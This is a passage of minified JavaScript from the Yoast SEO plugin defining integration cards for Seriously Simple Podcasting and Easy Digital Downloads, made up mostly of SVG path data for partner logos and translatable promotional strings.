0-.317.474l6.159 14.95a.342.342 0 0 0 .317.212h3.002c.14 0 .264-.083.318-.212l6.16-14.95a.343.343 0 0 0-.318-.474M98.372 105.209c2.618 0 3.979 1.881 4.182 3.769h-8.378c.287-1.888 1.686-3.769 4.196-3.769m0-2.978c-4.466 0-7.834 3.515-7.834 8.175 0 4.831 3.323 8.205 8.082 8.205 2.531 0 4.689-.805 6.245-2.326a.343.343 0 0 0 .039-.445l-1.3-1.826a.342.342 0 0 0-.526-.041c-.997 1.024-2.598 1.66-4.18 1.66-3.002 0-4.395-2.112-4.688-3.955h11.436a.344.344 0 0 0 .343-.343v-.682c0-4.959-3.132-8.422-7.617-8.422M116.983 102.231c-2.476 0-4.218 1.296-4.95 1.964v-1.249a.344.344 0 0 0-.344-.343h-2.785a.344.344 0 0 0-.344.343v14.95c0 .19.154.344.344.344h2.785c.19 0 .344-.154.344-.344v-10.564c.74-.967 2.188-1.937 3.773-1.937 1.967 0 2.845.905 2.845 2.937v9.564c0 .19.153.344.343.344h2.786a.345.345 0 0 0 .344-.344v-10.492c0-3.384-1.778-5.173-5.141-5.173M133.156 115.093a.344.344 0 0 0-.254-.226.358.358 0 0 0-.327.106c-.206.229-.688.475-1.261.475-1.031 0-1.111-1.135-1.111-1.483v-8.23h2.69a.344.344 0 0 0 .343-.343v-2.446a.344.344 0 0 0-.343-.343h-2.69v-3.742a.344.344 0 0 0-.344-.344h-2.785a.344.344 0 0 0-.344.344v3.742h-2.132a.344.344 0 0 0-.344.343v2.446c0 .189.154.343.344.343h2.132v8.849c0 2.597 1.386 4.027 3.903 4.027 1.369 0 2.397-.345 3.146-1.053a.345.345 0 0 0 .089-.36l-.712-2.105ZM142.473 108.616c-1.874-.437-3.201-.825-3.201-1.832 0-.991 1.043-1.606 2.721-1.606 1.677 0 3.31.668 4.161 1.701a.341.341 0 0 0 .265.125l.021-.001a.34.34 0 0 0 .269-.158l1.238-1.951a.345.345 0 0 0-.054-.433c-1.534-1.458-3.584-2.23-5.931-2.23-4.149 0-6.039 2.473-6.039 4.77 0 3.485 3.204 4.227 5.778 4.823 1.834.414 3.353.857 3.353 2.079 0 1.123-1.075 1.793-2.875 1.793-1.996 0-3.867-1.05-4.761-2.025a.344.344 0 0 0-.253-.112l-.028.002a.346.346 0 0 0-.26.155l-1.331 2.043a.343.343 0 0 0 .043.428c1.554 1.585 3.79 2.424 6.466 2.424 3.875 0 6.379-1.933 6.379-4.924 0-3.721-3.304-4.469-5.961-5.071M167.004 100.009c2.162 0 4.185 1.088 5.279 2.84a.351.351 0 0 0 .453.123l2.631-1.393a.344.344 0 0 0 .125-.494c-1.999-2.998-4.854-4.518-8.488-4.518-6.231 0-10.93 4.738-10.93 11.022s4.699 11.022 10.93 11.022c3.596 0 6.45-1.519 8.487-4.515a.346.346 0 0 0-.124-.497l-2.631-1.393a.352.352 0 0 0-.453.123c-1.095 1.752-3.117 2.84-5.279 2.84-3.89 0-6.504-3.046-6.504-7.58 0-4.605 2.553-7.58 6.504-7.58M187.429 112.195v2.302c-.746.925-2.05 1.477-3.494 1.477-1.821 0-3.092-1.081-3.092-2.627 0-1.548 1.271-2.629 3.092-2.629 1.444 0 2.748.552 3.494 1.477m-2.875-9.964c-2.507 0-4.65.856-6.369 2.544a.345.345 0 0 0-.05.428l1.207 1.92a.345.345 0 0 0 .534.059c1.264-1.265 2.653-1.88 4.244-1.88 2.01 0 3.309 1.031 3.309 2.628v1.649c-1.149-.98-2.717-1.498-4.546-1.498-2.67 0-5.544 1.638-5.544 5.234 0 3.44 2.856 5.296 5.544 5.296 1.781 0 3.349-.534 4.546-1.546v.831c0 .19.154.344.344.344h2.785c.19 0 .344-.154.344-.344v-10.09c0-3.543-2.314-5.575-6.348-5.575M198.111 96.908h-2.785a.344.344 0 0 0-.344.343v20.645c0 .189.154.344.344.344h2.785c.19 0 .344-.155.344-.344V97.251a.344.344 0 0 0-.344-.344M209.409 105.209c2.618 0 3.979 1.881 4.182 3.769h-8.378c.288-1.888 1.686-3.769 4.196-3.769m0-2.978c-4.466 0-7.833 3.515-7.833 8.175 0 4.831 3.323 8.205 8.081 8.205 2.531 0 4.69-.805 6.245-2.326a.343.343 0 0 0 .039-.445l-1.3-1.826a.342.342 0 0 0-.253-.144.369.369 0 0 0-.273.103c-.997 1.024-2.598 1.66-4.179 1.66-3.002 0-4.395-2.112-4.688-3.955h11.435c.19 0 .343-.154.343-.343v-.682c0-4.959-3.132-8.422-7.617-8.422M228.019 102.231c-2.476 0-4.217 1.296-4.949 1.964v-1.249a.344.344 0 0 0-.344-.343h-2.785a.344.344 0 0 0-.344.343v14.95c0 .19.154.344.344.344h2.785c.19 0 .344-.154.344-.344v-10.564c.74-.967 2.188-1.937 3.773-1.937 1.967 0 2.844.905 2.844 2.937v9.564c0 .19.154.344.344.344h2.786a.344.344 0 0 0 .343-.344v-10.492c0-3.384-1.777-5.173-5.141-5.173M247.307 107.352v6.17c-.775 1.134-2.335 1.926-3.804 1.926-2.497 0-4.175-2.014-4.175-5.011 0-3.016 1.678-5.042 4.175-5.042 1.432 0 3.028.822 3.804 1.957m3.129-10.445h-2.785a.344.344 0 0 0-.344.344v6.935c-1.238-1.262-2.846-1.955-4.546-1.955-4.205 0-7.03 3.298-7.03 8.206 0 4.889 2.825 8.174 7.03 8.174 1.674 0 3.321-.702 4.546-1.93v1.215c0 .189.154.344.344.344h2.785c.19 0 .344-.155.344-.344V97.251a.344.344 0 0 0-.344-.344M264.084 112.195v2.302c-.746.925-2.05 1.477-3.495 1.477-1.82 0-3.091-1.081-3.091-2.627 0-1.548 1.271-2.629 3.091-2.629 1.445 0 2.749.552 3.495 1.477m-2.875-9.964c-2.507 0-4.65.856-6.37 2.544a.345.345 0 0 0-.049.428l1.207 1.92a.343.343 0 0 0 .533.059c1.265-1.265 2.653-1.88 4.245-1.88 2.01 0 3.309 1.031 3.309 2.628v1.649c-1.149-.98-2.718-1.498-4.547-1.498-2.67 0-5.543 1.638-5.543 5.234 0 3.44 2.856 5.296 5.543 5.296 1.781 0 3.35-.534 4.547-1.546v.831c0 .19.154.344.344.344h2.785c.19 0 .344-.154.344-.344v-10.09c0-3.543-2.314-5.575-6.348-5.575M279.656 102.262c-1.614 0-3.262.748-4.546 2.057v-1.373a.344.344 0 0 0-.344-.343h-2.786a.344.344 0 0 0-.343.343v14.95c0 .189.154.343.343.343h2.786a.344.344 0 0 0 .344-.343v-10.304c.645-1.006 2.349-1.919 3.587-1.919.34 0 .629.028.885.085a.343.343 0 0 0 .418-.335v-2.817a.344.344 0 0 0-.344-.344",clipRule:"evenodd"})))},{name:"Seriously Simple Podcasting",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: bold close tag. */
(0,o.__)("Get %1$srich results for your podcast%2$s in Google search","wordpress-seo"),"<strong>","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-ssp",logoLink:"https://yoa.st/integrations-logo-ssp",slug:"ssp",description:(0,o.sprintf)(/* translators: 1: Seriously Simple Podcasting, 2: Yoast SEO */
(0,o.__)("%1$s integrates with %2$s's Schema API to get rich snippets for your podcasts!","wordpress-seo"),"Seriously Simple Podcasting","Yoast SEO"),isPremium:!1,isNew:!0,isMultisiteAvailable:!0,logo:e=>t.createElement("svg",be({xmlns:"http://www.w3.org/2000/svg",width:280,height:50},e),se||(se=t.createElement("path",{fill:"#2a2a2a",d:"M107.367 25c0 12.905-10.462 23.367-23.367 23.367-12.905 0-23.367-10.462-23.367-23.367C60.633 12.095 71.095 1.633 84 1.633c12.905 0 23.367 10.462 23.367 23.367Z"})),ae||(ae=t.createElement("path",{fill:"#2a2a2a",fillRule:"evenodd",d:"M84 50c13.807 0 25-11.193 25-25S97.807 0 84 0 59 11.193 59 25s11.193 25 25 25Zm0-1.02c13.243 0 23.98-10.737 23.98-23.98 0-13.244-10.737-23.98-23.98-23.98-13.244 0-23.98 10.736-23.98 23.98 0 13.243 10.736 23.98 23.98 23.98Z"})),ne||(ne=t.createElement("path",{fill:"#fff",fillRule:"evenodd",d:"M72.282 16.767c.295-.179.675-.41 1.106-.338.235.039.486.229.774.448.463.35 1.023.776 1.777.776.87 0 1.327-.206 1.593-.325.108-.049.184-.083.244-.083.204 0 .51.306.102.612-.068.05-.152.12-.252.204-.507.422-1.43 1.19-2.708 1.53-.243.066-.468.12-.675.17-1.102.267-1.72.417-1.978 1.361-.306 1.123-.102 5.613 3.674 5.613 1.564 0 2.795-.613 4.237-1.33 2.04-1.016 4.503-2.242 8.926-2.242 7.551 0 9.082 6.429 9.082 9.694 0 3.265-3.674 7.755-10 7.755-4.45 0-5.966-1.499-6.753-2.277-.108-.107-.202-.2-.288-.274.51 1.327 3.061 4.163 7.959 4.082-.068.374-1.755 1.122-7.96 1.122-7.754 0-13.775-6.938-13.775-13.163 0-4.43 1.138-7 1.793-8.481.266-.6.452-1.02.452-1.315 0-.95-1.062-1.9-2.033-2.769l-.212-.19c-1.02-.918-1.224-2.653-1.122-2.96.102-.305.51-.407.612.205.102.612 1.123 1.224 1.837 1.224.292 0 .448-.034.6-.067.219-.048.43-.095 1.033-.035.51.051 1.126.697 1.482 1.07l.15.155c.09-.03.2-.097.323-.172Zm9.473 18.54a.714.714 0 1 0 0-1.43.714.714 0 0 0 0 1.43Z"})),re||(re=t.createElement("path",{fill:"#cf3529",d:"M78.184 12.449c-.408.317-.47 1.124-.05 1.536.42.476.968.467 1.535.05 3.82-2.81 13.923-2.708 18.31-.05.498.3 1.091.374 1.472-.013l.031-.033c.412-.42.436-1.176-.077-1.534-5.2-3.63-16.63-3.527-21.221.044Z"})),oe||(oe=t.createElement("path",{fill:"#cf3529",d:"M80.633 16.122c-.613.307-.613 1.02-.306 1.531.306.51.95.52 1.53.204 4.318-1.928 9.46-2.147 13.878.102.493.251 1.326.306 1.632-.306.293-.584.306-1.122-.408-1.53-4.376-2.5-11.34-2.792-16.326 0Z"})),le||(le=t.createElement("path",{fill:"#cf3529",d:"M82.878 20.102c-.613.306-.715.97-.409 1.429.477.714 1.123.494 1.673.292 3.736-1.377 5.776-1.313 9.348-.05.724.255 1.224.268 1.632-.242.307-.51.245-1.2-.51-1.531-4.384-1.927-8.061-1.939-11.734.102Z"})),ce||(ce=t.createElement("path",{fillRule:"evenodd",d:"M208.695 24.455V13.416h1.504l.098.752c.341-.31.714-.538 1.119-.688.405-.149.885-.224 1.44-.224 1.087 0 1.936.297 2.544.889.608.592.912 1.57.912 2.935s-.315 2.387-.945 3.065c-.63.677-1.486 1.015-2.574 1.015-.917 0-1.703-.214-2.354-.64v3.935h-1.744Zm-33.47-.639c-.576 0-1.068-.075-1.473-.224v-1.295c.181.064.35.105.504.127.155.021.313.031.473.031.33 0 .596-.051.798-.158.203-.107.383-.275.537-.504.155-.23.323-.526.504-.889l-3.377-7.488H175l2.432 5.633 2.464-5.633h1.792l-3.088 7.152c-.267.64-.552 1.203-.856 1.688-.304.485-.657.867-1.056 1.144-.4.278-.887.416-1.463.416Zm-23.649-2.656c-1.365 0-2.365-.34-3-1.023-.635-.683-.953-1.66-.953-2.93 0-1.27.321-2.245.961-2.928.64-.682 1.637-1.023 2.992-1.023 1.366 0 2.368.34 3.008 1.023.64.683.96 1.659.96 2.928 0 1.27-.318 2.247-.952 2.93-.635.682-1.64 1.023-3.016 1.023Zm7.44 0c-.907 0-1.603-.25-2.088-.752-.486-.501-.729-1.238-.729-2.209v-4.783h1.744v4.783c0 .566.139.982.416 1.248.278.267.706.4 1.282.4.426 0 .82-.08 1.183-.24a3.07 3.07 0 0 0 .944-.638v-5.553h1.728V21h-1.584l-.08-.783c-.341.266-.747.49-1.217.672-.47.181-1.002.271-1.6.271Zm8.08 0a9.626 9.626 0 0 1-1.496-.111 7.027 7.027 0 0 1-1.176-.274v-1.47c.362.138.762.243 1.199.318.437.075.853.113 1.248.113.597 0 1.025-.053 1.281-.16.256-.106.383-.315.383-.625 0-.224-.076-.4-.23-.527-.155-.128-.386-.245-.69-.352-.304-.106-.69-.235-1.16-.384a7.635 7.635 0 0 1-1.168-.489 2.035 2.035 0 0 1-.767-.68c-.182-.277-.272-.64-.272-1.087 0-.694.25-1.23.752-1.608.501-.378 1.307-.568 2.416-.568.437 0 .853.032 1.248.096s.73.144 1.008.24v1.457a5.193 5.193 0 0 0-.984-.274 5.69 5.69 0 0 0-1-.095c-.555 0-.974.048-1.256.144-.283.096-.424.288-.424.576 0 .3.146.509.44.631.293.123.765.29 1.415.504.598.181 1.072.374 1.424.576.352.203.607.446.762.729.154.283.23.648.23 1.096 0 .746-.27 1.303-.814 1.671-.544.368-1.335.553-2.37.553Zm5.824 0c-.619 0-1.088-.153-1.408-.457-.32-.304-.48-.808-.48-1.512v-8.974h1.743v8.814c0 .299.054.503.16.61.107.106.268.16.481.16.256 0 .502-.034.736-.098v1.266a2.857 2.857 0 0 1-.584.15 4.627 4.627 0 0 1-.648.041Zm15.04 0c-1.332 0-2.405-.17-3.216-.512v-1.537c.459.171.953.31 1.48.416.529.107 1.054.16 1.577.16.821 0 1.437-.095 1.847-.287.411-.192.616-.576.616-1.152 0-.352-.086-.634-.256-.848-.17-.213-.453-.398-.848-.552-.395-.155-.94-.318-1.633-.489-1.109-.288-1.888-.653-2.336-1.095-.448-.443-.671-1.054-.671-1.832 0-.907.33-1.615.992-2.127.661-.512 1.649-.77 2.96-.77.598 0 1.16.044 1.688.13.528.084.942.18 1.24.286v1.537c-.81-.31-1.706-.465-2.687-.465-.768 0-1.366.102-1.793.305-.427.203-.64.57-.64 1.104 0 .309.075.56.224.752.15.192.407.357.775.496.368.138.879.294 1.53.465.842.213 1.495.466 1.959.76.464.293.79.633.976 1.023.187.39.28.83.28 1.32 0 .907-.336 1.62-1.008 2.137-.672.517-1.69.775-3.055.775Zm30.976 0c-.62 0-1.089-.153-1.409-.457-.32-.304-.478-.808-.478-1.512v-8.974h1.744v8.814c0 .299.052.503.158.61.107.106.267.16.48.16.257 0 .502-.034.737-.098v1.266a2.858 2.858 0 0 1-.584.15 4.627 4.627 0 0 1-.648.041Zm5.472 0c-1.322 0-2.347-.326-3.072-.976-.725-.651-1.088-1.649-1.088-2.993 0-1.216.31-2.174.928-2.878.618-.705 1.558-1.057 2.816-1.057 1.152 0 2.018.301 2.6.904.581.603.873 1.379.873 2.328v1.408h-5.553c.085.736.353 1.243.8 1.52.449.277 1.13.416 2.048.416.384 0 .778-.037 1.183-.111a5.763 5.763 0 0 0 1.057-.29v1.282a5.01 5.01 0 0 1-1.176.336 8.517 8.517 0 0 1-1.416.111ZM139.561 21v-7.584h1.6l.095.88a6.995 6.995 0 0 1 1.297-.64 7.164 7.164 0 0 1 1.486-.4v.97l.098-.81h2.734V21h-1.742v-6.256h-1.152l.017-.15a9.345 9.345 0 0 0-.922.222c-.346.102-.675.214-.984.336-.31.123-.57.247-.783.375V21h-1.744Zm53.584 0v-6.256h-1.153l.16-1.328h2.737V21h-1.744Zm2.816 0v-7.584h1.6l.08.8a4.552 4.552 0 0 1 1.23-.704c.448-.171.93-.256 1.441-.256.545 0 .968.088 1.272.264.304.176.535.419.695.728a4.714 4.714 0 0 1 1.217-.713c.459-.187 1.009-.28 1.649-.28.874 0 1.52.225 1.935.673.416.448.623 1.136.623 2.064V21h-1.71v-4.832c0-.587-.125-.998-.37-1.232-.245-.235-.644-.352-1.2-.352-.362 0-.705.063-1.03.191-.326.128-.606.32-.84.577.032.117.052.24.062.369.01.128.018.266.018.416V21h-1.617v-4.816c0-.555-.095-.96-.287-1.215-.192-.256-.555-.385-1.088-.385-.374 0-.729.088-1.065.264a4.223 4.223 0 0 0-.904.632V21h-1.711Zm16.383-1.152c1.472 0 2.209-.928 2.209-2.784 0-.896-.166-1.533-.496-1.912-.331-.378-.886-.568-1.664-.568-.78 0-1.43.267-1.954.8v3.792c.246.202.52.365.825.488.304.123.664.184 1.08.184Zm-60.768-.16c.8 0 1.367-.195 1.703-.584.336-.39.504-1.022.504-1.897s-.168-1.503-.504-1.887c-.336-.384-.903-.576-1.703-.576-.79 0-1.351.192-1.687.576-.336.384-.504 1.012-.504 1.887s.168 1.507.504 1.897c.336.389.898.584 1.687.584Zm70.336-2.928h4.016v-.528c0-.522-.144-.93-.432-1.224-.288-.294-.774-.44-1.457-.44-.81 0-1.368.176-1.672.528-.304.352-.455.906-.455 1.664Zm-76.928-4.928v-1.44h1.905v1.44h-1.905Zm48.016 0v-1.44h1.904v1.44H193Zm-57.232 9.328c-1.323 0-2.347-.325-3.072-.976-.725-.65-1.088-1.648-1.088-2.992 0-1.216.31-2.176.928-2.88.619-.704 1.557-1.056 2.816-1.056 1.152 0 2.019.301 2.6.904s.872 1.379.872 2.328v1.408h-5.552c.085.736.352 1.243.8 1.52.448.277 1.13.416 2.048.416a6.53 6.53 0 0 0 1.184-.112c.405-.075.757-.17 1.056-.288v1.28c-.341.15-.733.261-1.176.336a8.515 8.515 0 0 1-1.416.112Zm-2.496-4.4h4.016v-.528c0-.523-.144-.93-.432-1.224-.288-.293-.773-.44-1.456-.44-.81 0-1.368.176-1.672.528-.304.352-.456.907-.456 1.664Zm-6.144 4.4c-1.333 0-2.405-.17-3.216-.512v-1.536c.459.17.952.31 1.48.416.528.107 1.053.16 1.576.16.821 0 1.437-.096 1.848-.288.41-.192.616-.576.616-1.152 0-.352-.085-.635-.256-.848-.17-.213-.453-.397-.848-.552-.395-.155-.939-.317-1.632-.488-1.11-.288-1.888-.653-2.336-1.096-.448-.443-.672-1.053-.672-1.832 0-.907.33-1.616.992-2.128.661-.512 1.648-.768 2.96-.768.597 0 1.16.043 1.688.128s.941.181 1.24.288v1.536c-.81-.31-1.707-.464-2.688-.464-.768 0-1.365.101-1.792.304-.427.203-.64.57-.64 1.104 0 .31.075.56.224.752.15.192.408.357.776.496.368.139.877.293 1.528.464.843.213 1.496.467 1.96.76.464.293.79.635.976 1.024.187.39.28.83.28 1.32 0 .907-.336 1.619-1.008 2.136-.672.517-1.69.776-3.056.776ZM206.4 38.816a13.94 13.94 0 0 1-1.697-.103 6.935 6.935 0 0 1-1.44-.313v-1.343c.427.138.919.245 1.473.32.555.075 1.083.111 1.584.111.768 0 1.328-.043 1.68-.129.352-.085.527-.277.527-.576 0-.224-.085-.38-.256-.47-.17-.091-.494-.137-.974-.137h-2.049c-1.376 0-2.064-.485-2.064-1.455 0-.31.09-.599.271-.866.181-.266.47-.468.865-.607-.437-.213-.76-.507-.968-.88-.208-.374-.313-.822-.313-1.345 0-.97.292-1.674.873-2.11.581-.438 1.453-.657 2.615-.657.246 0 .503.02.77.056.267.038.474.072.623.104h2.783l-.047 1.137h-1.279c.203.17.351.382.447.638.096.256.145.534.145.832 0 .811-.246 1.449-.737 1.913-.49.464-1.232.697-2.224.697-.17 0-.329-.01-.473-.026-.144-.016-.3-.033-.47-.054-.32.032-.61.117-.866.256-.256.138-.383.324-.383.558 0 .16.064.277.192.346.128.07.342.103.64.103h2.127c.758 0 1.342.163 1.752.489.411.325.618.797.618 1.416 0 .746-.324 1.282-.97 1.607-.645.325-1.57.488-2.775.488Zm-23.44-2.656a9.626 9.626 0 0 1-1.495-.111 7.056 7.056 0 0 1-1.178-.274v-1.47c.363.138.764.243 1.201.318.438.075.854.113 1.248.113.598 0 1.024-.053 1.28-.16.256-.106.384-.315.384-.625 0-.224-.077-.4-.232-.527-.155-.128-.384-.245-.688-.352-.304-.106-.69-.235-1.16-.385a7.634 7.634 0 0 1-1.168-.488 2.035 2.035 0 0 1-.767-.68c-.182-.277-.274-.64-.274-1.087 0-.694.251-1.23.752-1.608.502-.378 1.307-.568 2.416-.568.438 0 .854.032 1.248.096.395.064.73.144 1.008.24v1.457a5.173 5.173 0 0 0-.982-.274 5.69 5.69 0 0 0-1-.095c-.555 0-.973.048-1.256.144-.283.096-.426.288-.426.576 0 .3.148.509.441.631.294.123.766.29 1.417.504.597.181 1.071.374 1.423.576.352.203.605.446.76.729.155.283.233.648.233 1.096 0 .746-.273 1.303-.817 1.671-.544.368-1.332.553-2.367.553Zm6.593 0c-.81 0-1.417-.216-1.817-.648-.4-.432-.6-1.021-.6-1.768v-3.969h-1.12v-1.359h1.12v-1.744l1.727-.527v2.271h2.018l-.113 1.36h-1.905v3.872c0 .438.102.744.305.92.203.176.533.264.992.264.288 0 .592-.053.912-.16v1.232c-.416.171-.922.256-1.52.256Zm2.672-.16v-6.256h-1.153l.16-1.328h2.737V36h-1.744Zm2.814 0v-7.584h1.602l.08.8a4.863 4.863 0 0 1 1.222-.68c.475-.188 1-.28 1.577-.28.98 0 1.696.229 2.144.687.448.459.672 1.174.672 2.145V36h-1.729v-4.832c0-.587-.119-.998-.359-1.232-.24-.235-.69-.352-1.352-.352-.394 0-.781.08-1.16.24-.378.16-.697.367-.953.623V36h-1.744Zm11.488-3.473c.694 0 1.178-.117 1.45-.351.272-.235.408-.634.408-1.2 0-.565-.136-.976-.408-1.232-.272-.256-.756-.385-1.45-.385-.65 0-1.125.124-1.423.37-.3.245-.448.66-.448 1.248 0 .544.141.938.424 1.183.283.245.765.367 1.447.367Zm-14.447-5.695v-1.44h1.904v1.44h-1.904Zm-17.072 9.328c-.48 0-.925-.085-1.336-.256a2.22 2.22 0 0 1-.984-.776c-.245-.347-.368-.776-.368-1.288 0-.725.248-1.31.744-1.752.496-.443 1.261-.664 2.296-.664h2.432v-.336c0-.363-.056-.65-.168-.864-.112-.213-.315-.368-.608-.464-.293-.096-.723-.144-1.288-.144-.896 0-1.733.133-2.512.4V28.72c.341-.139.757-.25 1.248-.336a9.251 9.251 0 0 1 1.584-.128c1.11 0 1.955.224 2.536.672.581.448.872 1.179.872 2.192V36h-1.488l-.112-.768a3.11 3.11 0 0 1-1.144.688c-.453.16-1.021.24-1.704.24Zm.464-1.248c.523 0 .979-.088 1.368-.264.39-.176.707-.413.952-.712v-1.328h-2.4c-.512 0-.883.099-1.112.296-.23.197-.344.499-.344.904 0 .395.133.677.4.848.267.17.645.256 1.136.256Zm-5.728 1.248c-1.333 0-2.341-.339-3.024-1.016-.683-.677-1.024-1.656-1.024-2.936 0-1.333.376-2.325 1.128-2.976.752-.65 1.757-.976 3.016-.976.523 0 .963.037 1.32.112.357.075.701.192 1.032.352v1.296c-.555-.277-1.227-.416-2.016-.416-.875 0-1.547.195-2.016.584-.47.39-.704 1.064-.704 2.024 0 .907.208 1.57.624 1.992.416.421 1.104.632 2.064.632.757 0 1.445-.144 2.064-.432v1.328a6.149 6.149 0 0 1-1.128.32c-.4.075-.845.112-1.336.112Zm-8.784 0c-.683 0-1.285-.117-1.808-.352-.523-.235-.928-.624-1.216-1.168-.288-.544-.432-1.275-.432-2.192 0-.907.155-1.672.464-2.296.31-.624.739-1.096 1.288-1.416.55-.32 1.17-.48 1.864-.48.459 0 .867.053 1.224.16.357.107.701.272 1.032.496v-3.696h1.744V36h-1.488l-.112-.752c-.341.31-.715.539-1.12.688-.405.15-.885.224-1.44.224Zm.464-1.312c.779 0 1.43-.267 1.952-.8v-3.792c-.501-.448-1.13-.672-1.888-.672-.736 0-1.29.245-1.664.736-.373.49-.56 1.205-.56 2.144 0 .907.173 1.53.52 1.872.347.341.893.512 1.64.512Zm-8.304 1.312c-1.365 0-2.365-.341-3-1.024-.635-.683-.952-1.659-.952-2.928 0-1.27.32-2.245.96-2.928.64-.683 1.637-1.024 2.992-1.024 1.365 0 2.368.341 3.008 1.024.64.683.96 1.659.96 2.928 0 1.27-.317 2.245-.952 2.928-.635.683-1.64 1.024-3.016 1.024Zm0-1.472c.8 0 1.368-.195 1.704-.584.336-.39.504-1.021.504-1.896s-.168-1.504-.504-1.888c-.336-.384-.904-.576-1.704-.576-.79 0-1.352.192-1.688.576-.336.384-.504 1.013-.504 1.888s.168 1.507.504 1.896c.336.39.899.584 1.688.584ZM141.008 36V25.696h4.592c.79 0 1.44.15 1.952.448.512.299.89.707 1.136 1.224.245.517.368 1.107.368 1.768 0 1.024-.317 1.845-.952 2.464s-1.49.928-2.568.928h-2.784V36Zm1.744-4.848h2.464c.693 0 1.216-.181 1.568-.544.352-.363.528-.853.528-1.472 0-.661-.168-1.173-.504-1.536-.336-.363-.84-.544-1.512-.544h-2.544Z"})))},{name:"Easy Digital Downloads",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: bold close tag. */
(0,o.__)("Get %1$srich results for your digital products%2$s in Google search","wordpress-seo"),"<strong>","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-edd",logoLink:"https://yoa.st/integrations-logo-edd",upsellLink:"https://yoa.st/get-edd-integration",slug:"edd",description:(0,o.sprintf)(/* translators: 1: Easy Digital Downloads, 2: Yoast SEO */
(0,o.__)("%2$s integrates %1$s' Schema output into its own to get rich snippets for your digital products!","wordpress-seo"),"Easy Digital Downloads","Yoast SEO"),isPremium:!0,isNew:!0,isMultisiteAvailable:!0,logo:e=>t.createElement("svg",Me({xmlns:"http://www.w3.org/2000/svg",xmlSpace:"preserve",width:130,height:60,style:{fillRule:"evenodd",clipRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:1.41421},viewBox:"0 0 339 157"},e),t.createElement("path",{d:"M206.613 15.378C197.114 5.876 183.985 0 169.488 0c-14.501 0-27.628 5.876-37.13 15.378-9.504 9.502-15.38 22.631-15.38 37.13 0 14.499 5.876 27.628 15.378 37.13 9.502 9.504 22.631 15.378 37.132 15.378 14.499 0 27.628-5.879 37.127-15.378 9.502-9.504 15.378-22.631 15.378-37.13 0-14.499-5.878-27.628-15.38-37.13Zm-1.732 72.524c-9.057 9.058-21.572 14.661-35.395 14.661-13.823 0-26.339-5.603-35.397-14.661s-14.661-21.572-14.661-35.394c0-13.823 5.603-26.337 14.661-35.395 9.058-9.058 21.572-14.661 35.395-14.661 13.823 0 26.337 5.603 35.395 14.661 9.058 9.058 14.66 21.572 14.66 35.395.002 13.822-5.601 26.337-14.658 35.394Z",style:{fill:"#35495c",fillRule:"nonzero"}}),t.createElement("path",{d:"M214.656 52.07c-.236-24.746-20.367-44.734-45.168-44.734-24.803 0-44.936 19.99-45.168 44.736l20.712-20.712 6.946 6.946-15.157 15.157h65.333l-15.157-15.157 6.946-6.946 20.713 20.71Zm-45.17-7.762L150.24 24.112h12.79v-9.955c0-2.584 2.906-4.702 6.456-4.702 3.55 0 6.456 2.116 6.456 4.702v9.955h12.79l-19.246 20.196ZM175.1 77.93c-1.026-.667-2.326-1.267-3.894-1.788-1.199-.413-2.186-.803-2.956-1.179-.764-.372-1.328-.785-1.689-1.221-.37-.444-.543-.976-.543-1.586 0-.488.147-.952.462-1.391.309-.438.792-.803 1.448-1.079.663-.28 1.507-.431 2.555-.436.844.004 1.615.072 2.312.193.689.125 1.3.276 1.823.449.53.179.958.348 1.295.507l1.166-3.516c-.705-.354-1.588-.648-2.66-.886-.91-.201-1.952-.317-3.135-.357v-3.638h-3.205v3.82c-.514.083-1.007.195-1.473.33-1.179.348-2.192.831-3.03 1.462-.831.628-1.475 1.363-1.917 2.205-.444.842-.663 1.77-.672 2.768.006 1.155.309 2.173.906 3.052.597.88 1.448 1.643 2.547 2.297 1.094.652 2.4 1.214 3.91 1.687 1.133.363 2.057.742 2.761 1.131.705.387 1.221.814 1.542 1.28.328.466.49 1.006.484 1.61 0 .663-.195 1.238-.575 1.735-.376.49-.932.875-1.663 1.148-.731.276-1.623.411-2.669.42a15.281 15.281 0 0 1-2.481-.217 15.934 15.934 0 0 1-2.24-.562 11.92 11.92 0 0 1-1.838-.766l-1.127 3.662c.51.28 1.146.532 1.925.764.779.234 1.636.42 2.575.562.932.138 1.89.208 2.864.217l.171-.002v3.761h3.205v-4.063a12.43 12.43 0 0 0 1.162-.282c1.286-.387 2.354-.915 3.199-1.591.851-.67 1.481-1.446 1.899-2.321a6.4 6.4 0 0 0 .624-2.787c0-1.155-.247-2.177-.757-3.056-.515-.887-1.281-1.664-2.311-2.336ZM3.999 141.181c0 .701.099 1.38.298 2.034a4.99 4.99 0 0 0 .894 1.719c.397.491.9.883 1.508 1.175.608.293 1.333.439 2.175.439 1.169 0 2.11-.251 2.824-.754.713-.502 1.245-1.256 1.596-2.262h3.788a7.544 7.544 0 0 1-1.087 2.631 7.563 7.563 0 0 1-1.859 1.946 8.036 8.036 0 0 1-2.438 1.193 9.852 9.852 0 0 1-2.824.403c-1.427 0-2.689-.234-3.788-.701a7.828 7.828 0 0 1-2.789-1.965c-.76-.842-1.333-1.847-1.719-3.016-.385-1.17-.578-2.456-.578-3.859 0-1.286.205-2.508.614-3.665a9.387 9.387 0 0 1 1.754-3.052 8.378 8.378 0 0 1 2.754-2.087c1.075-.514 2.291-.772 3.648-.772 1.426 0 2.706.298 3.841.894a8.437 8.437 0 0 1 2.824 2.368c.748.982 1.292 2.111 1.631 3.385.339 1.275.427 2.59.263 3.946H3.999Zm9.33-2.631a6.468 6.468 0 0 0-.404-1.824 4.885 4.885 0 0 0-.912-1.526 4.534 4.534 0 0 0-1.403-1.052 4.132 4.132 0 0 0-1.841-.404c-.702 0-1.339.123-1.912.369a4.369 4.369 0 0 0-1.473 1.017 5.038 5.038 0 0 0-.982 1.526 5.306 5.306 0 0 0-.403 1.894h9.33ZM35.567 145.18c0 .491.064.842.193 1.052.128.21.38.316.754.316h.421c.163 0 .351-.023.561-.07v2.771c-.14.047-.322.099-.544.158-.223.058-.45.111-.684.158a7.387 7.387 0 0 1-1.298.14c-.819 0-1.497-.164-2.034-.491-.538-.327-.889-.9-1.052-1.719-.795.771-1.771 1.333-2.929 1.683-1.157.351-2.274.526-3.35.526a8.215 8.215 0 0 1-2.35-.333 6.15 6.15 0 0 